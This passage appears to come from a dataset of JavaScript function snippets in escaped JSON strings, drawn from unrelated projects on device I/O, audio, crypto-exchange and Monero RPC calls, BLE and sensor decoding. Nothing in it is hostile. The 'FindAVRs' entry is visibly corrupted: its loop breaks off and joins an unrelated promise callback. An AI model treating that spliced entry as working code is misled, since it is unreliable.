ScanaStudio.dec_item_add_content(\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1));\\n ScanaStudio.dec_item_add_content(\\\"Reserved\\\");\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n start_item,\\n end_item,\\n \\\"Fast Packet Data\\\",\\n (\\\"Reserved : 0x\\\" + pad(reserved.toString(16),1)),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n str = LOOKUP_INDUSTRY_CODE(industry_code);\\n ScanaStudio.dec_item_new(decoder_items.channel_index, end_item, decoder_items.end_sample_index);\\n ScanaStudio.dec_item_add_content(\\\"Industry Code : \\\" + str);\\n ScanaStudio.dec_item_add_content(str);\\n ScanaStudio.dec_item_end();\\n // Packet View\\n ScanaStudio.packet_view_add_packet(false,\\n decoder_items.channel_index,\\n end_item,\\n decoder_items.end_sample_index,\\n \\\"Fast Packet Data\\\",\\n (\\\"Industry Code : \\\" + str),\\n ScanaStudio.PacketColors.Data.Title,\\n ScanaStudio.PacketColors.Data.Content);\\n skip_item = true;\\n break;\\n }\\n default :\\n {\\n packet_title = \\\"Byte n°\\\" + fast_packet_byte;\\n item_content = \\\"0x\\\" + pad(hex_value.toString(16),2);\\n break;\\n }\\n }\\n}\",\n \"loadSample(url, name, callback)\\n {\\n let request = new XMLHttpRequest();\\n request.open('GET', url, true);\\n request.responseType = 'arraybuffer';\\n request.onload = function()\\n {\\n let audioData = request.response;\\n drummachineInst.audioContext.decodeAudioData(audioData, function(buffer)\\n {\\n callback(buffer,name);\\n });\\n };\\n request.send();\\n }\",\n \"function GetDeviceIP(){\\n showBackgroundImage('wait_message');\\n getContent('','/cgi-bin/setup.cgi?GetDeviceIP','function:ShowGetDeviceIP');\\n}\",\n \"function BYB_GetBalance() { \\n var bybrequest = {\\n \\\"id\\\" : \\\"BYB\\\",\\n \\\"name\\\" : \\\"Bybit\\\",\\n \\\"apikey\\\" : '•••••••••',\\n \\\"secret\\\" : '•••••••••',\\n \\\"command\\\" : \\\"/open-api/wallet/fund/records\\\",\\n // \\\"uri\\\" : \\\"https://api.bybit.com\\\",\\n \\\"uri\\\" : \\\"api-testnet.bybit.com\\\",\\n \\\"apiversion\\\" : \\\"/v1/\\\",\\n \\\"method\\\" : \\\"get\\\",\\n \\\"payload\\\" : \\\"\\\"\\n }; \\n\\n var response = BYB_PrivateRequest(bybrequest);\\n Logger.log( JSON.parse(UrlFetchApp.fetch(response.uri, response.params)) );\\n}\",\n \"function processDeviceCommand(request, response) {\\n\\t\\n\\tvar deviceIP = request.headers[\\\"tuyapi-ip\\\"]\\n\\tvar deviceID = request.headers[\\\"tuyapi-devid\\\"]\\n\\tvar localKey = request.headers[\\\"tuyapi-localkey\\\"]\\n\\tvar command = request.headers[\\\"tuyapi-command\\\"] \\n\\n\\t//var respMsg = \\\"deviceCommand sending to deviceID: \\\" + deviceID + \\\" Command: \\\" + command;\\n\\tvar respMsg = \\\"deviceCommand sending to IP: \\\" + deviceIP + \\\" Command: \\\" + command;\\n\\tconsole.log(respMsg);\\n\\n\\tvar device = new TuyaDevice({\\n\\t //ip: deviceIP,\\n\\t id: deviceID,\\n\\t key: localKey\\n\\t , issueGetOnConnect: false\\n\\t});\\n\\n\\tdevice.on('error', error => {\\n\\t\\tconsole.log('Error!', error);\\n\\t});\\n\\n\\t(async () => {\\n\\t\\tawait device.find();\\t \\n\\n\\t\\tawait device.connect();\\t \\n\\t\\tconsole.log('Connected to device!');\\n\\t\\tlet status = await device.get();\\t \\n\\t\\tconsole.log(`Current status: ${status}.`);\\t\\n\\t\\tswitch(command) {\\n\\t\\t\\tcase \\\"off\\\":\\t\\n\\t\\t\\t\\tconsole.log('Setting to false!');\\n\\t\\t\\t\\tawait device.set({set: false});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"on\\\":\\n\\t\\t\\t\\tconsole.log('Setting to true!');\\n\\t\\t\\t\\tawait device.set({set: true});\\n\\t\\t\\tbreak\\n\\t\\t\\tcase \\\"status\\\":\\t\\n\\t\\t\\t\\tconsole.log('Received status request!');\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t\\tstatus = await device.get(); \\t\\t \\n\\t\\tconsole.log(`New status: ${status}.`);\\t \\n\\t\\tdevice.disconnect();\\n\\n\\t\\ttry{\\n\\t\\t\\tconsole.log(\\\"Sending Status to SmartThings:\\\" +status);\\t\\n\\t\\t\\tresponse.setHeader(\\\"tuyapi-onoff\\\", status);\\n\\t\\t\\tresponse.setHeader(\\\"cmd-response\\\", status);\\n\\t\\t\\tresponse.end();\\n\\t\\t\\tconsole.log(\\\"Status sent to SmartThings:\\\" +status);\\t\\n\\t\\t}catch (err){\\n\\t\\t\\tconsole.log(\\\"Error:\\\" +err);\\t\\n\\t\\t}\\n\\t})();\\t\\n}\",\n \"prepare() {\\n if (!navigator.bluetooth) {\\n this.log_.warn('Bluetooth Web support is not available!');\\n return;\\n } else if (this.prepared) {\\n return;\\n }\\n\\n this.log_.debug('Preparing Bluetooth LowEnergy support...');\\n this.devices_.prepare();\\n\\n this.prepared = true;\\n }\",\n \"function RadioController() {\\n\\n var TUNER = {'vendorId': 0x0bda, 'productId': 0x2838};\\n var SAMPLE_RATE = 2048000;\\n var BUFS_PER_SEC = 5;\\n var SAMPLES_PER_BUF = Math.floor(SAMPLE_RATE / BUFS_PER_SEC);\\n var NULL_FUNC = function(){};\\n var STATE = {\\n OFF: 0,\\n STARTING: 1,\\n PLAYING: 2,\\n STOPPING: 3,\\n CHG_FREQ: 4,\\n SCANNING: 5\\n };\\n var SUBSTATE = {\\n USB: 1,\\n TUNER: 2,\\n ALL_ON: 3,\\n TUNING: 4,\\n PLAYING: 5\\n };\\n\\n var decoder = new Worker('decode-worker.js');\\n var player = new Player();\\n var state = new State(STATE.OFF);\\n var requestingBlocks = 0;\\n var playingBlocks = 0;\\n var frequency = 88500000;\\n var stereo = true;\\n var stereoEnabled = true;\\n var errorHandler;\\n var tuner;\\n var connection;\\n var ui;\\n\\n /**\\n * Starts playing the radio.\\n * @param {Function=} opt_callback A function to call when the radio\\n * starts playing.\\n */\\n function start(opt_callback) {\\n if (state.state == STATE.OFF) {\\n state = new State(STATE.STARTING, SUBSTATE.USB, opt_callback);\\n chrome.permissions.request(\\n {'permissions': [{'usbDevices': [TUNER]}]},\\n function(res) {\\n if (!res) {\\n state = new State(STATE.OFF);\\n throwError('This app has no permission to access the USB ports.');\\n } else {\\n processState();\\n }\\n });\\n } else if (state.state == STATE.STOPPING || state.state == STATE.STARTING) {\\n state = new State(STATE.STARTING, state.substate, opt_callback);\\n }\\n }\\n\\n /**\\n * Stops playing the radio.\\n * @param {Function=} opt_callback A function to call after the radio\\n * stops playing.\\n */\\n function stop(opt_callback) {\\n if (state.state == STATE.OFF) {\\n opt_callback && opt_callback();\\n } else if (state.state == STATE.STARTING || state.state == STATE.STOPPING) {\\n state = new State(STATE.STOPPING, state.substate, opt_callback);\\n } else if (state.state != STATE.STOPPING) {\\n state = new State(STATE.STOPPING, SUBSTATE.ALL_ON, opt_callback);\\n }\\n }\\n\\n /**\\n * Tunes to another frequency.\\n * @param {number} freq The new frequency in Hz.\\n */\\n function setFrequency(freq) {\\n if (state.state == STATE.PLAYING || state.state == STATE.CHG_FREQ\\n || state.state == STATE.SCANNING) {\\n state = new State(STATE.CHG_FREQ, null, freq);\\n } else {\\n frequency = freq;\\n ui && ui.update();\\n }\\n }\\n\\n /**\\n * Returns the currently tuned frequency.\\n * @return {number} The current frequency in Hz.\\n */\\n function getFrequency() {\\n return frequency;\\n }\\n\\n /**\\n * Searches a given frequency band for a station, starting at the\\n * current frequency.\\n * @param {number} min The minimum frequency, in Hz.\\n * @param {number} max The maximum frequency, in Hz.\\n * @param {number} step The step between stations, in Hz. The step's sign\\n * determines the scanning direction.\\n */\\n function scan(min, max, step) {\\n if (state.state == STATE.PLAYING || state.state == STATE.SCANNING) {\\n var param = {\\n min: min,\\n max: max,\\n step: step,\\n start: frequency\\n };\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n }\\n }\\n\\n /**\\n * Returns whether the radio is doing a frequency scan.\\n * @return {boolean} Whether the radio is doing a frequency scan.\\n */\\n function isScanning() {\\n return state.state == STATE.SCANNING;\\n }\\n\\n /**\\n * Returns whether the radio is currently playing.\\n * @param {boolean} Whether the radio is currently playing.\\n */\\n function isPlaying() {\\n return state.state != STATE.OFF && state.state != STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether the radio is currently stopping.\\n * @param {boolean} Whether the radio is currently stopping.\\n */\\n function isStopping() {\\n return state.state == STATE.STOPPING;\\n }\\n\\n /**\\n * Returns whether a stereo signal is being decoded.\\n * @param {boolean} Whether a stereo signal is being decoded.\\n */\\n function isStereo() {\\n return stereo;\\n }\\n\\n /**\\n * Enables or disables stereo decoding.\\n * @param {boolean} enable Whether stereo decoding should be enabled.\\n */\\n function enableStereo(enable) {\\n stereoEnabled = enable;\\n ui && ui.update();\\n }\\n\\n /**\\n * Returns whether stereo decoding is enabled.\\n * @return {boolean} Whether stereo decoding is enabled.\\n */\\n function isStereoEnabled() {\\n return stereoEnabled;\\n }\\n\\n /**\\n * Saves a reference to the current user interface controller.\\n * @param {Object} iface The controller. Must have an update() method.\\n */\\n function setInterface(iface) {\\n ui = iface;\\n }\\n\\n /**\\n * Sets a function to be called when there is an error.\\n * @param {Function} handler The function to call. Its only parameter\\n * is the error message.\\n */\\n function setOnError(handler) {\\n errorHandler = handler;\\n }\\n\\n /**\\n * Handles an error.\\n * @param {string} msg The error message.\\n */\\n function throwError(msg) {\\n if (errorHandler) {\\n errorHandler(msg);\\n } else {\\n throw msg;\\n }\\n }\\n\\n /**\\n * Starts the decoding pipeline.\\n */\\n function startPipeline() {\\n // In this way we read one block while we decode and play another.\\n if (state.state == STATE.PLAYING) {\\n processState();\\n }\\n processState();\\n }\\n\\n /**\\n * Performs the appropriate action according to the current state.\\n */\\n function processState() {\\n if (state.state == STATE.STARTING) {\\n if (state.substate == SUBSTATE.USB) {\\n state = new State(STATE.STARTING, SUBSTATE.TUNER, state.param);\\n chrome.usb.findDevices(TUNER,\\n function(conns) {\\n if (conns.length == 0) {\\n state = new State(STATE.OFF);\\n throwError('USB tuner device not found. The Radio Receiver ' +\\n 'app needs an RTL2832U-based DVB-T dongle ' +\\n '(with an R820T tuner chip) to work.');\\n } else {\\n connection = conns[0];\\n processState();\\n }\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STARTING, SUBSTATE.ALL_ON, state.param);\\n tuner = new RTL2832U(connection);\\n tuner.setOnError(throwError);\\n tuner.open(function() {\\n tuner.setSampleRate(SAMPLE_RATE, function(rate) {\\n tuner.setCenterFrequency(frequency, function() {\\n processState();\\n })})});\\n } else if (state.substate == SUBSTATE.ALL_ON) {\\n var cb = state.param;\\n state = new State(STATE.PLAYING);\\n tuner.resetBuffer(function() {\\n cb && cb();\\n ui && ui.update();\\n startPipeline();\\n });\\n }\\n } else if (state.state == STATE.PLAYING) {\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.PLAYING) {\\n if (playingBlocks <= 2) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled]);\\n }\\n }\\n processState();\\n });\\n } else if (state.state == STATE.CHG_FREQ) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n frequency = state.param;\\n ui && ui.update();\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(function() {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n })});\\n } else if (state.state == STATE.SCANNING) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n var param = state.param;\\n if (state.substate == SUBSTATE.TUNING) {\\n frequency += param.step;\\n if (frequency > param.max) {\\n frequency = param.min;\\n } else if (frequency < param.min) {\\n frequency = param.max;\\n }\\n ui && ui.update();\\n state = new State(STATE.SCANNING, SUBSTATE.PLAYING, param);\\n tuner.setCenterFrequency(frequency, function() {\\n tuner.resetBuffer(processState);\\n });\\n } else if (state.substate == SUBSTATE.PLAYING) {\\n if (frequency == param.start) {\\n state = new State(STATE.PLAYING);\\n startPipeline();\\n return;\\n }\\n state = new State(STATE.SCANNING, SUBSTATE.TUNING, param);\\n var scanData = {\\n 'scanning': true,\\n 'frequency': frequency\\n };\\n ++requestingBlocks;\\n tuner.readSamples(SAMPLES_PER_BUF, function(data) {\\n --requestingBlocks;\\n if (state.state == STATE.SCANNING) {\\n ++playingBlocks;\\n decoder.postMessage([data, stereoEnabled, scanData]);\\n }\\n processState();\\n });\\n }\\n } else if (state.state == STATE.STOPPING) {\\n if (state.substate == SUBSTATE.ALL_ON) {\\n if (requestingBlocks > 0) {\\n return;\\n }\\n state = new State(STATE.STOPPING, SUBSTATE.TUNER, state.param);\\n ui && ui.update();\\n tuner.close(function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.TUNER) {\\n state = new State(STATE.STOPPING, SUBSTATE.USB, state.param);\\n chrome.usb.closeDevice(connection, function() {\\n processState();\\n });\\n } else if (state.substate == SUBSTATE.USB) {\\n var cb = state.param;\\n state = new State(STATE.OFF);\\n cb && cb();\\n ui && ui.update();\\n }\\n }\\n }\\n\\n /**\\n * Receives the sound from the demodulator and plays it.\\n * @param {Event} msg The data sent by the demodulator.\\n */\\n decoder.onmessage = function(msg) {\\n --playingBlocks;\\n var newStereo = !!msg.data[1];\\n if (newStereo != stereo) {\\n stereo = newStereo;\\n ui && ui.update();\\n }\\n player.play(msg.data[0], msg.data[1]);\\n if (state.state == STATE.SCANNING && msg.data[2] && msg.data[2]['scanning']) {\\n if (overload(msg.data[0]) < 0.075) {\\n setFrequency(msg.data[2].frequency);\\n }\\n }\\n };\\n\\n /**\\n * Calculates the proportion of samples above maximum amplitude.\\n * @param {Samples} samples The audio stream.\\n * @param {number} The proportion of samples above the maximum amplitude.\\n */\\n function overload(samples) {\\n var count = 0;\\n for (var i = 0; i < samples.data.length; ++i) {\\n if (samples.data[i] > 1 || samples.data[i] < -1) {\\n ++count;\\n }\\n }\\n return count / samples.data.length;\\n }\\n\\n /**\\n * Constructs a state object.\\n * @param {number} state The state.\\n * @param {number=} opt_substate The sub-state.\\n * @param {*=} opt_param The state's parameter.\\n */\\n function State(state, opt_substate, opt_param) {\\n return {\\n state: state,\\n substate: opt_substate,\\n param: opt_param\\n };\\n }\\n\\n return {\\n start: start,\\n stop: stop,\\n setFrequency: setFrequency,\\n getFrequency: getFrequency,\\n scan: scan,\\n isScanning: isScanning,\\n isPlaying: isPlaying,\\n isStopping: isStopping,\\n isStereo: isStereo,\\n enableStereo: enableStereo,\\n isStereoEnabled: isStereoEnabled,\\n setInterface: setInterface,\\n setOnError: setOnError\\n };\\n}\",\n \"function FindAVRs()\\n{\\n var devs = usb.getDeviceList();\\n for (var i=0; i {\\n console.log('--writeLoginSetting successfully: ',arrData);\\n })\\n .catch((error) => {\\n console.log('--writeLoginSetting failed ',error);\\n });\\n }\",\n \"function makeRequest(){\\n var mediaRequest = {\\n responseType: http$RESPONSETYPE_BINARY,\\n parser: CadmiumMediaStream$_parseHeaderBoxes,\\n url: _self.downloadUrls[cdn.id],\\n cdn: cdn,\\n track: track,\\n stream: _self,\\n offset: 0,\\n length: _actualHeaderSize || _estimateHeaderSize(contentProfile),\\n diagCaption: type + '-' + bitrate + '-hdr',\\n cacheBuster: true\\n };\\n playback.httpPlayback.download(mediaRequest, processResponse);\\n }\",\n \"async sendBinaryRequest(path, params) {\\n if (LibraryUtils.getLogLevel() >= 2) console.log(\\\"sendBinaryRequest(\\\" + path + \\\", \\\" + JSON.stringify(params) + \\\")\\\");\\n \\n // load wasm module\\n await LibraryUtils.loadKeysModule();\\n \\n // serialize params\\n let paramsBin = MoneroUtils.jsonToBinary(params);\\n \\n try {\\n \\n // send http request\\n let resp = await HttpClient.request({\\n method: \\\"POST\\\",\\n uri: this.getUri() + '/' + path,\\n username: this.getUsername(),\\n password: this.getPassword(),\\n body: paramsBin,\\n rejectUnauthorized: this.config.rejectUnauthorized,\\n requestApi: GenUtils.isFirefox() ? \\\"xhr\\\" : \\\"fetch\\\"\\n });\\n \\n // validate response\\n MoneroRpcConnection.validateHttpResponse(resp);\\n \\n // process response\\n resp = resp.body;\\n if (!(resp instanceof Uint8Array)) {\\n console.error(\\\"resp is not uint8array\\\");\\n console.error(resp);\\n }\\n if (resp.error) throw new MoneroRpcError(resp.error.message, resp.error.code, path, params);\\n return resp;\\n } catch (err) {\\n if (err instanceof MoneroRpcError) throw err;\\n else throw new MoneroRpcError(err, undefined, path, params);\\n }\\n }\",\n \"async getData() {\\n\\t\\t//first we have to find out all the gateways we have to query\\n\\t\\tvar that = this;\\n\\t\\tlet web3 = new Web3(new Web3.providers.HttpProvider(\\\"https://rinkeby.infura.io\\\"));\\n\\t\\tlet mphr = new web3.eth.Contract(JSON.parse(mphrABI));\\n\\t\\tmphr.options.address = this.props.profile.mphr;\\n\\n\\t\\tmphr.methods.returnGateways().call({}, function (error, result) {\\n\\t\\t\\tif(error) { throw (error); }\\n\\t\\t\\tfor(var i = 0; i < result.length; i++) {\\n\\t\\t\\t\\tlet hex = result[i].toString();//force conversion\\n\\t\\t\\t\\tlet gateway = '';\\n\\t\\t\\t\\tfor (var j = 0; (j < hex.length && hex.substr(j, 2) !== '00'); j += 2) {\\n\\t\\t\\t\\t\\tgateway += String.fromCharCode(parseInt(hex.substr(j, 2), 16));\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tthat.request(gateway.slice(1), that.props.profile.id, \\\"all\\\");\\n\\t\\t\\t}\\n\\t\\t});\\n\\t}\",\n \"requestGetDeviceName() {\\n if (!this.connected) { return; }\\n this.writeMessage(MESSAGE_TYPE_GET_DEVICE_NAME, new Uint8Array(0));\\n }\",\n \"async WebGetBinaryStructures(url) {\\n var r = await this._BaseWebRequest(url, \\\"arraybuffer\\\", \\\"GET\\\", null);\\n var decoder = new DeltaBinaryStructuresDecoder(new DataView(r));\\n decoder.Decode();\\n return decoder;\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"async function upload( cmd_array, fastspeed = true){\\n let fullflag = false\\n \\n if(cmd_array.length>1){\\n fullflag = Boolean(parseInt(cmd_array[1]))\\n }\\n\\n if(fastspeed){\\n await blxConnectionFast()\\n if(blxErrMsg) return\\n }\\n\\n for(;;){ // Unlock Device (locked in FAST mode)\\n await blxDeviceCmd('v', 5000) // Get virtual Disk Dir\\n if (blxErrMsg) break\\n\\n if(fullflag === true){ // After 1.st true BLE cmd bec. of deviceMAC\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt')\\n await blStore.remove(blxIDs.deviceMAC + '_data.edt.old')\\n }\\n \\n await calcMem(true) // With adjust\\n if(blxErrMsg) break\\n\\n terminalPrint('Available Data (Bytes): Total: ' + blxDataMem.total + ', New: ' + blxDataMem.incnew)\\n\\n if(blxUserCB) {\\n if(fullflag) blxUserCB('UPLOAD',blxDataMem.total,'FULL') \\n else blxUserCB('UPLOAD',blxDataMem.incnew,'INC') \\n }\\n \\n await updateFile('data.edt', fullflag)\\n if(blxErrMsg) break\\n\\n await updateFile('data.edt.old', fullflag)\\n //if(blxErrMsg) break // not needed\\n\\n break \\n } // for\\n\\n if(fastspeed){ // With NO data, direct CF->CS might raise GATT ERROR\\n await blxConnectionSlow()\\n }\\n }\",\n \"async function findDevice() {\\n const device = await liff.bluetooth.requestDevice().catch(e => {\\n flashSDKError(e);\\n onScreenLog(`ERROR on requestDevice: ${e}`);\\n throw e;\\n });\\n // onScreenLog('detect: ' + device.id);\\n\\n try {\\n if (!deviceUUIDSet.has(device.id)) {\\n deviceUUIDSet.add(device.id);\\n addDeviceToList(device);\\n } else {\\n // TODO: Maybe this is unofficial hack > device.rssi\\n document.querySelector(`#${device.id} .rssi`).innerText = device.rssi;\\n }\\n\\n checkAvailablityAndDo(() => setTimeout(findDevice, 100));\\n } catch (e) {\\n onScreenLog(`ERROR on findDevice: ${e}\\\\n${e.stack}`);\\n }\\n}\",\n \"function trackerRequest() {\\n const buff = Buffer.alloc(16);\\n buff.writeUInt32BE(0x417, 0);\\n buff.writeUInt32BE(0x27101980, 4);\\n buff.writeUInt32BE(0, 8);\\n crypto.randomBytes(4).copy(buff, 12);\\n return (buff);\\n}\",\n \"function calculateChallengeResponse(challenge, adminkey) {\\n var objAlg =\\n Windows.Security.Cryptography.Core.SymmetricKeyAlgorithmProvider\\n .openAlgorithm(\\n Windows.Security.Cryptography.Core.SymmetricAlgorithmNames\\n .tripleDesCbc);\\n\\n var symetricKey = objAlg.createSymmetricKey(adminkey);\\n var buffEncrypted =\\n Windows.Security.Cryptography.Core.CryptographicEngine.encrypt(\\n symetricKey,\\n challenge,\\n null);\\n\\n return buffEncrypted;\\n }\",\n \"function getConvolver () {\\n const ajax = new window.XMLHttpRequest()\\n\\n ajax.open('GET', convolverUrl, true)\\n\\n ajax.responseType = 'arraybuffer'\\n\\n ajax.onload = function () {\\n const audioData = ajax.response\\n\\n audioCtx.decodeAudioData(audioData, function (buffer) {\\n soundSource = audioCtx.createBufferSource()\\n convolver.buffer = buffer\\n }, function (e) { console.log('Error with decoding audio data' + e.err) })\\n\\n soundSource.connect(audioCtx.destination)\\n soundSource.loop = true\\n soundSource.start()\\n }\\n\\n ajax.send()\\n }\",\n \"function getdevicelist (dev, callback)\\n{\\n if (typeof (webphone_api.plhandler) !== 'undefined' && webphone_api.plhandler !== null)\\n {\\n if (typeof (dev) === 'undefined' || dev === null || dev.length < 1) dev = '-12';\\n webphone_api.plhandler.GetDeviceList(dev, callback);\\n }\\n}\",\n \"function Decoder(bytes, port) {\\n // Decode an uplink message from a buffer\\n // (array) of bytes to an object of fields.\\n var decoded = {};\\n\\n if (! (port === 3))\\n return null;\\n\\n // see catena-message-port3-format.md\\n // i is used as the index into the message. Start with the flag byte.\\n // note that there's no discriminator.\\n // test vectors are also available there.\\n var i = 0;\\n // fetch the bitmap.\\n var flags = bytes[i++];\\n\\n if (flags & 0x1) {\\n // set Vraw to a uint16, and increment pointer\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n // interpret uint16 as an int16 instead.\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n // scale and save in result.\\n decoded.Vbat = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x2) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.VDD = Vraw / 4096.0;\\n }\\n\\n if (flags & 0x4) {\\n var iBoot = bytes[i];\\n i += 1;\\n decoded.boot = iBoot;\\n }\\n\\n if (flags & 0x8) {\\n // we have temp, pressure, RH\\n var tRaw = (bytes[i] << 8) + bytes[i + 1];\\n if (tRaw & 0x8000)\\n tRaw = -0x10000 + tRaw;\\n i += 2;\\n var rhRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n\\n decoded.t = tRaw / 256;\\n decoded.rh = rhRaw / 65535.0 * 100;\\n decoded.tDew = dewpoint(decoded.t, decoded.rh);\\n decoded.tHeatIndexC = CalculateHeatIndexCelsius(decoded.t, decoded.rh);\\n }\\n\\n if (flags & 0x10) {\\n // we have light irradiance info\\n var irradiance = {};\\n decoded.irradiance = irradiance;\\n\\n var lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.IR = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.White = lightRaw;\\n\\n lightRaw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n irradiance.UV = lightRaw;\\n }\\n\\n if (flags & 0x20) {\\n var Vraw = (bytes[i] << 8) + bytes[i + 1];\\n i += 2;\\n if (Vraw & 0x8000)\\n Vraw += -0x10000;\\n decoded.Vbus = Vraw / 4096.0;\\n }\\n\\n // at this point, decoded has the real values.\\n return decoded;\\n}\",\n \"function callAPI(req,res,handleResponse){\\n var host = 'www.blueworkslive.com';\\n var username = 'xxxx';\\n var password = 'yyyy';\\n var path = '/api/Auth';\\n var headers = {\\n 'Authorization': 'Basic ' + new Buffer(username+':'+password).toString('base64'),\\n };\\n var options = {\\n host: host,\\n path: path,\\n method: 'GET',\\n headers: headers\\n };\\n var bwlResData = {};\\n console.log('BwlApiCall: Request '+options.method+' https://'+options.host+options.path);\\n var bwlRequest = https.request(options, function(bwlResponse) {\\n\\tconsole.log(\\\"BwlApiCall: Response status=\\\"+bwlResponse.statusCode);\\n\\tbwlResData.status = bwlResponse.statusCode; // statusCode >= 200 and < 300 is OK\\n\\tbwlResData.headers = bwlResponse.headers;\\n\\tvar bufferData = [];\\n\\tbwlResponse.on('data', function(data) {\\n\\t bufferData.push(data);\\n console.info('BwlApiCall: Response data received');\\n\\t});\\n\\tbwlResponse.on('end', function() {\\n console.info('BwlApiCall: completed, calling callback');\\n\\t bwlResData.data = Buffer.concat(bufferData);\\n\\t handleResponse(req, res, bwlResData);\\n });\\n });\\n/* if ((reqData.method == \\\"post\\\" || reqData.method == \\\"put\\\") && reqData.senddata) {\\n console.log(reqData.method+' sending data: '+reqData.senddata);\\n bwlRequest.write(reqData.senddata);\\n } */\\n bwlRequest.end();\\n bwlRequest.on('error', function(e){\\n console.error('BwlApiCall: REQUEST-ERROR '+e);\\n });\\n}\",\n \"retrieveDevice(req, res) {\\n res.json({ message: \\\"Device\\\", data: req.device });\\n }\",\n \"getDeviceDescription(deviceId, callback, retryCounter) {\\n let ip;\\n if (!retryCounter) retryCounter = 0;\\n if (retryCounter > 2) {\\n return callback && callback(new Error('timeout on response'));\\n }\\n if (deviceId.includes('#')) {\\n if (!this.knownDevices[deviceId] || !this.knownDevices[deviceId].ip) {\\n return callback && callback('device unknown');\\n }\\n ip = this.knownDevices[deviceId].ip;\\n }\\n else ip = deviceId;\\n this.logger && this.logger('CoAP device description request for ' + deviceId + ' to ' + ip + '(' + retryCounter + ')');\\n let retryTimeout = null;\\n try {\\n const req = coap.request({\\n host: ip,\\n //port: 5683,\\n method: 'GET',\\n pathname: '/cit/d'\\n });\\n\\n retryTimeout = setTimeout(() => {\\n this.getDeviceDescription(deviceId, callback, ++retryCounter);\\n callback = null;\\n }, 2000);\\n req.on('response', (res) => {\\n clearTimeout(retryTimeout);\\n const options = {};\\n res.options.forEach((opt) => {\\n if (!options[opt.name]) {\\n options[opt.name] = opt.value;\\n }\\n else {\\n options[opt.name] += '/' + opt.value;\\n }\\n });\\n this.logger && this.logger('CoAP response: ' + JSON.stringify(options));\\n\\n const deviceId = this.initDevice(options, res.rsinfo);\\n if (!deviceId) return;\\n\\n let payload = res.payload.toString();\\n if (!payload.length) {\\n this.logger && this.logger('CoAP payload empty: ' + JSON.stringify(options));\\n return;\\n }\\n try {\\n\\n if (payload.indexOf('`') !== -1) {\\n this.logger && this.logger(payload);\\n payload = payload.substr(0, payload.lastIndexOf('`'));\\n this.logger && this.logger('CoAP payload cutted: ' + payload.indexOf('`'));\\n }\\n\\n payload = JSON.parse(payload);\\n }\\n catch (err) {\\n this.emit('error', err + ' (res) for JSON ' + payload);\\n return;\\n }\\n this.logger && this.logger('Device description received: ' + JSON.stringify(options) + ' / ' + JSON.stringify(payload));\\n if (req.rsinfo) {\\n this.knownDevices[deviceId].ip = req.rsinfo.address;\\n this.knownDevices[deviceId].port = req.rsinfo.port;\\n }\\n this.knownDevices[deviceId].description = payload;\\n callback && callback(null, deviceId, payload, this.knownDevices[deviceId].ip);\\n callback = null;\\n });\\n req.on('error', (error) => {\\n // console.log(error);\\n this.emit('error', error);\\n });\\n req.end();\\n }\\n catch (e) {\\n if (retryTimeout) clearTimeout(retryTimeout);\\n callback && callback(e);\\n callback = null;\\n }\\n }\",\n \"buildModemInterface() {\\n return new Promise((resolve, reject) => {\\n this.log(`starting modem interface on port ${this.uri} @ ${this.baud_rate}`);\\n let serial_port = new SerialPort(this.uri, {\\n baudRate: this.baud_rate\\n });\\n serial_port.on('open', () => {\\n resolve(serial_port);\\n });\\n serial_port.on('error', (err) => {\\n reject(err);\\n });\\n serial_port.on('data', (data) => {\\n // buffer the received data\\n this.response_buffer += data.toString();\\n // check if the response code exists in our buffered data\\n this.response_codes.forEach((code) => {\\n if (this.response_buffer.toUpperCase().indexOf(code) > -1) {\\n this.handleModemResponse({\\n data: this.response_buffer.replace(code, '').trim(), \\n code: code\\n });\\n this.response_buffer = '';\\n }\\n })\\n });\\n return serial_port;\\n });\\n }\",\n \"function send(data) {\\n\\n if(MODE == MODES.TEST) {\\n ws.send(data);\\n } else if(MODE == MODES.BLUETOOH) {\\n\\n var data = new Uint8Array(1);\\n data[0] = data;\\n\\n ble.write(id, serviceId, serviceName, data.buffer, function() {\\n console.log(\\\"ble -> sendSucess\\\");\\n }, function(err) {\\n console.log(\\\"ble -> sendFailure : \\\" + JSON.stringify(err));\\n });\\n\\n }\\n\\n}\",\n \"sendMakeBetShan2(_chipbet) 